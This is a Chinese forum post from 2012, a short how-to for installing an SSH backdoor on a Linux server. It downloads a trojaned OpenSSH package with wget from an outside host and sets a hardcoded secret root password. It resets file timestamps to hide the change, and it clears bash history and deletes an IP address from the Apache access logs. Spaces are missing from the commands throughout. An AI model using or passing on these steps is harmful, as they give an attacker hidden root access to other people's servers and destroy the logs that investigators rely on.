ssh后门快速安装

[复制链接]
查看348 | 回复0 | 2012-4-1 19:19:19 | 显示全部楼层 |阅读模式
1、mv/etc/ssh/ssh_config/etc/ssh/ssh_config.old

2、mv/etc/ssh/sshd_config/etc/ssh/sshd_config.old

3、下载并安装ssh后门:

shell-#wgethttp://192.168.1.188/sshbd.tgz

shell-#tarzxvfsshbd.tgz

shell-#cdopenssh
 
4、设置ssh后门的登录密码:

viversio.h

#defineSSH_VERSION"OpenSSH_4.2"-->you'vetoeditOpenSSH_4.2
viincludes.h

define_SECRET_PASSWD"test123"->editasuwishpassword
 
5、继续安装:

shell-#./configure--prefix=/usr--sysconfdir=/etc/ssh

shell-#make&&makeinstall

shell-#cpssh_configsshd_config/etc/ssh/

touch-r/etc/ssh/ssh_config.old/etc/ssh/ssh_config

touch-r/etc/ssh/sshd_config.old/etc/ssh/sshd_config

shell-#/etc/init.d/sshdrestart
6、登入后门:


ssh-lroot192.168.1.188

密码:test123

echo>/root/.bash_history//清空操作日志
 
 
7、清除apache日志:

exportHISTFILE=/dev/null

exportHISTSIZE=0

cd/etc/httpd/logs/

sed-i'/210.73.64.100/d'access_log*
 

*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则